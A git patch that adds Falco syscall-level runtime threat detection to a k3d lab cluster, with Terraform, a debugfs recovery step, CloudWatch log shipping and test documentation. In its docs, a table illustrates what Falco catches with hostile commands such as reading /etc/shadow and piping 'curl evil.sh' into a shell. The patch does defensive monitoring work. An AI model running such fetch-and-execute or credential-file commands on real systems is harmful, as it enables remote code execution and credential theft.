From b955aa7f10fdaa40fdaf2bbc81c08a5d1e85bf1a Mon Sep 17 00:00:00 2001 From: leehart32 Date: Fri, 17 Jul 2026 17:12:13 -0600 Subject: [PATCH] feat(security): add Falco runtime threat detection + ship alerts to CloudWatch MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Falco captures what the API-server audit log can't: the commands run INSIDE a container after an exec (not just the exec call). Modern eBPF (CO-RE) driver, observe-only, in its own falco namespace (exempt from the webapp Gatekeeper constraints). Alerts ship to floci CloudWatch /k8s/falco. - falco.tf: helm_release (chart 9.1.0) + a null_resource that mounts debugfs on the node first — k3d doesn't mount it, and without it the BPF probe can't read syscall tracepoints (Falco captures nothing). - recover.sh: re-mount debugfs after a reboot (it's on tmpfs, lost on restart, like flannel's subnet.env) and bounce Falco to re-attach. - cloudwatch-log-shipper.yaml: add a third stream, falco pods -> /k8s/falco. - docs/falco.md: driver rationale, the debugfs catch, and how to test it end to end (trigger -> Falco logs -> CloudWatch). Verified live: modern eBPF loads clean (0 tracepoint errors), a tty exec into webapp fires "Terminal shell in container" with the full command line, and the alert lands in /k8s/falco via the shipper. Co-Authored-By: Claude Opus 4.8 --- docs/falco.md | 112 ++++++++++++++++++++++++++++ logging/cloudwatch-log-shipper.yaml | 5 +- scripts/recover.sh | 18 +++++ terraform/cluster/falco.tf | 53 +++++++++++++ 4 files changed, 187 insertions(+), 1 deletion(-) create mode 100644 docs/falco.md create mode 100644 terraform/cluster/falco.tf diff --git a/docs/falco.md b/docs/falco.md new file mode 100644 index 0000000..19c1ea6 --- /dev/null +++ b/docs/falco.md @@ -0,0 +1,112 @@ +# Runtime threat detection (Falco) + +[Falco](https://falco.org) watches the kernel's **syscalls** and alerts on +suspicious runtime behaviour — installed as a Helm release by +[`terraform/cluster/falco.tf`](../terraform/cluster/falco.tf). + +## Why — the gap the audit log can't fill + +The API-server audit log (`/k8s/webapp/audit`) records that someone `exec`'d into +a pod and the *launch* command, but once exec upgrades to a streaming TTY the API +server sees nothing more — **not the commands typed inside the shell, not the +output.** Falco taps `execve` at the kernel, so it sees the shell **and every +command run after it**. That's the whole reason it's here. + +| Layer | Sees | +| --- | --- | +| k8s audit (`/k8s/webapp/audit`) | *"system:admin exec'd `bash` into webapp"* | +| **Falco (`/k8s/falco`)** | **`cat /etc/shadow`, `id`, `curl evil.sh \| sh` — the commands inside** | + +Falco is **observe-only** (like Trivy Operator): it writes alerts, it never +blocks. It complements Gatekeeper (which blocks at admission). + +## Driver: modern eBPF (+ the k3d debugfs catch) + +Falco uses the **modern eBPF (CO-RE)** probe — no kernel headers or module +builds. It needs BTF (present on kernel 6.x) and, on **k3d**, one extra thing: + +> **k3d nodes don't mount `debugfs`.** Without it the BPF probe can't resolve +> syscall tracepoint IDs and Falco captures *nothing* (you'll see +> `failed to determine tracepoint ... perf event ID` in the logs). So the lab +> mounts it on the node: +> - **fresh cluster:** `null_resource.falco_debugfs` in `falco.tf` mounts it before Falco installs. +> - **after a reboot** (it's on tmpfs, lost on restart — like flannel's `subnet.env`): `scripts/recover.sh` re-mounts it and bounces Falco. `make reboot` covers it. + +## Placement + +- Runs in its **own `falco` namespace** — the webapp-scoped Gatekeeper constraints + don't apply, so its privileged DaemonSet is admitted (same as ESO / the shipper). +- Low footprint: no vuln DB, no image pulls beyond the Falco image — none of the + disk-pressure risk Trivy Operator's scan jobs carry. + +## Alerts → CloudWatch + +Falco writes JSON alerts to stdout. The `cloudwatch-log-shipper` DaemonSet tails +the Falco pod log and ships it to a **`/k8s/falco`** log group, exactly like the +app and audit streams (see [`logging/cloudwatch-log-shipper.yaml`](../logging/cloudwatch-log-shipper.yaml)): + +``` +/var/log/pods/falco_*/falco/*.log -> /k8s/falco +``` + +## Test it + +### 1. Trigger a detection + +The default **"Terminal shell in container"** rule needs a TTY, so exec with `-it`: + +```bash +KC="kubectl --context k3d-webapp-test" +POD=$($KC get pods -n webapp -o jsonpath='{.items[0].metadata.name}') +$KC exec -it -n webapp "$POD" -- sh -c 'id; cat /etc/hostname' +``` + +### 2. See it in Falco (live, in-cluster) + +```bash +kubectl --context k3d-webapp-test logs -n falco -l app.kubernetes.io/name=falco -c falco -f | grep -i 'shell\|Warning\|Notice' +``` + +You'll get a JSON alert: rule `Terminal shell in container`, MITRE tag `T1059`, +`k8s.ns.name=webapp`, and the exact `proc.cmdline` (`sh -c id; cat /etc/hostname`). + +### 3. See it shipped to floci CloudWatch (`/k8s/falco`) + +```bash +export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_EC2_METADATA_DISABLED=true; unset AWS_PROFILE +EP="aws --endpoint-url=http://localhost:4566 --region us-east-1 --no-cli-pager" +$EP logs filter-log-events --log-group-name /k8s/falco --query 'reverse(events)[].message' --output text | tr '\t' '\n' | python3 -c 'import sys,json,re +for l in sys.stdin: + m = re.sub(r"^\S+ \w+ \w ", "", l.strip()) # strip CRI prefix: stdout F + try: d = json.loads(m) + except Exception: continue + of = d.get("output_fields", {}) + print(d.get("time","")[:19], "|", d.get("rule"), "|", of.get("k8s.ns.name"), of.get("k8s.pod.name"), "|", of.get("proc.cmdline")) +' +``` + +Example output: +``` +2026-07-17T23:01:30 | Terminal shell in container | webapp scan-demo-xxxx | sh -c cat /etc/hostname; id +``` + +> No TTY? A non-interactive `kubectl exec pod -- ls` won't trip the shell rule +> (it needs `proc.tty != 0`). Use `-it`, or `script -qec "kubectl exec -it ..." /dev/null` +> to force a pty from a non-interactive shell. + +### Other things Falco catches out of the box + +Reading sensitive files (`/etc/shadow`), writing below `/etc` or binary dirs, +package-manager launches in a container, outbound connections to unexpected +ports — all in the default ruleset. Add your own rules by mounting a +`custom_rules.yaml` (chart value `customRules`). + +## Where this fits the security story + +- **Block at PR** — trivy Gate 4 (image CVEs). +- **Block at admission** — Gatekeeper (insecure pods). +- **Observe images at runtime** — Trivy Operator (what's deployed). +- **Observe *behaviour* at runtime** — **Falco** (what a process actually does). + +Maps to NIST **SI-4** (system monitoring) and **AU-2/AU-12** (audit of the +in-container activity the API audit log can't see). diff --git a/logging/cloudwatch-log-shipper.yaml b/logging/cloudwatch-log-shipper.yaml index b6be227..dce9a10 100644 --- a/logging/cloudwatch-log-shipper.yaml +++ b/logging/cloudwatch-log-shipper.yaml @@ -2,11 +2,13 @@ # terraform/infra actually fill up. A hardened aws-cli DaemonSet that tails the # node's log files and PutLogEvents them to floci at host.k3d.internal:4566. # -# Two streams: +# Three streams: # /var/log/pods/webapp_*/*/*.log -> /k8s/webapp/app (nginx access/error) # /var/log/k3s-audit.log -> /k8s/webapp/audit (API-server audit: # exec/attach, restarts, deploys, secret # access, RBAC, webapp pod events) +# /var/log/pods/falco_*/falco/*.log -> /k8s/falco (Falco runtime alerts: +# shell-in-container, exec, sensitive reads) # # Lives in its OWN `logging` namespace on purpose: the webapp-scoped Gatekeeper # constraints don't apply here, and it's outside the Argo-managed webapp chart. @@ -92,6 +94,7 @@ spec: } ship "/var/log/pods/webapp_*/*/*.log" "/k8s/webapp/app" & ship "/var/log/k3s-audit.log" "/k8s/webapp/audit" & + ship "/var/log/pods/falco_*/falco/*.log" "/k8s/falco" & wait env: - name: NODE_NAME diff --git a/scripts/recover.sh b/scripts/recover.sh index 1d67441..cfa44a0 100755 --- a/scripts/recover.sh +++ b/scripts/recover.sh @@ -10,6 +10,7 @@ # 4. host.k3d.internal is stripped from CoreDNS -> ESO can't reach floci # ("dial tcp: lookup host.k3d.internal ... i/o timeout") # 5. the webapp image can drop out of the node's containerd -> ImagePullBackOff +# 6. debugfs is unmounted -> Falco's BPF probe can't read syscall tracepoints # # This script checks each, reports what it finds, and fixes it. Idempotent and # safe to run anytime (not just after a reboot). It does NOT touch Terraform @@ -71,6 +72,23 @@ else fi fi +# 3b. debugfs for Falco's BPF probe ----------------------------------------- +# k3d nodes don't mount debugfs, and it's lost on restart (like flannel above). +# Without it Falco's modern-eBPF probe can't resolve syscall tracepoint IDs and +# captures nothing. Harmless no-op if Falco isn't installed. +step "debugfs mount (Falco runtime probe)" +if docker exec "$NODE" mountpoint -q /sys/kernel/debug 2>/dev/null; then + ok "debugfs mounted" +else + fix "debugfs missing — mounting for Falco's BPF probe" + if docker exec "$NODE" mount -t debugfs debugfs /sys/kernel/debug 2>/dev/null; then + ok "debugfs mounted" + $KUBECTL delete pod -n falco -l app.kubernetes.io/name=falco >/dev/null 2>&1 || true # re-attach probe + else + warn "debugfs mount failed — Falco won't capture syscalls" + fi +fi + # 4. host.k3d.internal (ESO -> floci) -------------------------------------- step "host.k3d.internal resolution (ESO -> floci)" fix "re-asserting host.k3d.internal (durable coredns-custom mapping)" diff --git a/terraform/cluster/falco.tf b/terraform/cluster/falco.tf new file mode 100644 index 0000000..ec4a23b --- /dev/null +++ b/terraform/cluster/falco.tf @@ -0,0 +1,53 @@ +# Falco — runtime threat detection at the syscall level. This is the layer the +# API-server audit log CANNOT give you: it sees the commands run *inside* a +# container after an exec (not just the exec call), sensitive file reads, etc. +# Modern eBPF (CO-RE) driver — no kernel headers or module builds. +# +# OBSERVE-ONLY: writes JSON alerts to stdout; the cloudwatch-log-shipper tails +# them to floci CloudWatch /k8s/falco. Runs in its own `falco` namespace, so the +# webapp-scoped Gatekeeper constraints don't reject its (privileged) pods. +# +# See docs/falco.md for the driver rationale, the exec-visibility demo, and tests. + +# k3d nodes don't mount debugfs, so the BPF probe can't resolve syscall +# tracepoint IDs and Falco captures nothing. Mount it before Falco installs. +# It's lost on node restart — scripts/recover.sh re-mounts it (like flannel/DNS). +resource "null_resource" "falco_debugfs" { + depends_on = [time_sleep.cluster_ready] + + triggers = { + node = "k3d-webapp-test-server-0" + } + + provisioner "local-exec" { + command = "docker exec k3d-webapp-test-server-0 sh -c 'mountpoint -q /sys/kernel/debug || mount -t debugfs debugfs /sys/kernel/debug'" + } +} + +resource "helm_release" "falco" { + depends_on = [null_resource.falco_debugfs] + name = "falco" + repository = "https://falcosecurity.github.io/charts" + chart = "falco" + version = "9.1.0" + namespace = "falco" + create_namespace = true + wait = true + # Generous timeout: first run pulls the Falco image + rules artifacts. + timeout = 600 + + values = [yamlencode({ + driver = { kind = "modern_ebpf" } # CO-RE; host has BTF (kernel 6.x) + tty = true # flush alerts immediately + + falco = { + json_output = true # so the log shipper can parse alerts + json_include_output_property = true + } + + resources = { + requests = { cpu = "100m", memory = "256Mi" } + limits = { cpu = "500m", memory = "512Mi" } + } + })] +}